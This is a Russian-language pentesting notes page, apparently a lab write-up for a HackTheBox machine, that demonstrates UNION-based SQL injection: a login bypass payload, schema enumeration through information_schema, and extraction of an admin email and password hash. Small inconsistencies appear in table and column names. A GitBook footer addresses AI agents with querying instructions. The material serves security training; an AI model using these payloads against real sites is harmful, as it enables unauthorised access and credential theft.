> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md).

# SQLi на основе UNION

Используя **Burp Suite**, мы можем перехватить запрос, позволяющий протестировать SQL-инъекцию.

<figure><img src="/files/49bb8ad401591daf9e076d41c143da24685a84ad" alt=""><figcaption></figcaption></figure>

### Базовая SQL-инъекция:

Чтобы обойти аутентификацию с помощью простой инъекции, мы используем:

```bash
admin ' or 1=1-- -

```

<figure><img src="/files/feb4695349ef19f42648618b37e7163f3dc564c0" alt=""><figcaption></figcaption></figure>

Этот тип инъекции заставляет условие всегда быть истинным (`1=1`), что позволяет получить доступ к админ-панели и обойти проверку идентификации.

<figure><img src="/files/c341aba172c768b143c7d7409176ee612f047304" alt=""><figcaption></figcaption></figure>

### Инъекция на основе UNION

С инъекцией **SQL на основе UNION**, мы пытаемся определить число столбцов, чтобы структурировать запросы так, чтобы они были совместимы с базой данных. Пример:

```bash
admin' union select 1,2,3,4-- -

```

Сервер возвращает ответ, сообщая «вход выполнен успешно», что показывает, что есть 4 столбца.

<figure><img src="/files/9b4a492a9480ef8a8c464e8a449c34da620b129e" alt=""><figcaption></figcaption></figure>

#### Список баз данных

Чтобы вывести имя текущей базы данных, мы используем:

```bash
admin' union select 1,2,3,database()-- -&password=admin

```

<figure><img src="/files/f5a4ae5eab2e60fcbfba7d231116301accc17ee7" alt=""><figcaption></figcaption></figure>

Затем, чтобы получить список всех доступных баз данных:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin

```

{% endcode %}

Результат: `information_schema`, `main`

<figure><img src="/files/2bc74f3ebbe763a856f23effb77ecc87e6f01779" alt=""><figcaption></figcaption></figure>

#### Список таблиц

После определения базы данных `main`, мы выводим таблицы этой базы, чтобы изучить хранящиеся структуры:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -

```

{% endcode %}

Найдены таблицы: `blog`, `blog_comments`, `users`.

<figure><img src="/files/41fb6779d455aace22be19755b6ae054c348fffb" alt=""><figcaption></figcaption></figure>

Список столбцов таблицы. Для таблицы `users`, мы выводим доступные столбцы:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -

```

{% endcode %}

Найдены столбцы: `email`, `id`, `name`, `пароль`.

<figure><img src="/files/7387985aa8240e22a01e60e7e0b2c4ef77836532" alt=""><figcaption></figcaption></figure>

#### Извлечение данных пользователя

Затем мы извлекаем данные из таблицы `users`:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -

```

{% endcode %}

ПОЛЬЗОВАТЕЛЬ: `Admin` ЭЛ. ПОЧТА: `admin@goodgames.htb` ПАРОЛЬ (хэш): `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/c8c0ca1b0b0ea8605f360601c85f726fea043d5d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
